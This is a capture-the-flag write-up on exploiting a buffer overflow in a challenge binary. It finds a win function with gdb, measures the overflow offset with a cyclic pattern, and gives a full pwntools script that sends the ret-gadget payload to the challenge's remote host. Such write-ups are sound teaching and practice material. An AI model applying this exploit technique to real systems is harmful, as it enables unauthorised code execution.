Since scanf is, in this context, vulnerable to bof, we need to find out some information

1. We can easily find the address of win if we do **gdb ./main** and **info functions**

2. To find the bof point:

First, we use **cyclic 200** to generate a cyclic input we use for testing, and we send it.

In the error message we see **RSP 0x7fffffffdc98 ◂— 0x6161616161616170 ('paaaaaaa')** so we found the bof place.

Second, we need to find the index: **cyclic -o 0x6161616161616170** gives us index **120**, so that must be the bof index.

We test this on the executable and it seems to work, but barely. As expected, it does not work on remote, we need a return gadget. We can use **ret_address = next(elf.search(asm("ret"), executable=True))** to find a good one in the elf and then we need to put it all toghether:

```
from pwn import *

host = "35.246.227.46"
port = 32286
p = remote(host, port)

offset = 120
ret_gadget = 0x40101a
win_address = 0x4011b6

payload = b"A" * offset
payload += p64(ret_gadget)
payload += p64(win_address)
p.sendline(payload)
p.interactive()
```

Made with love by: AndreiCat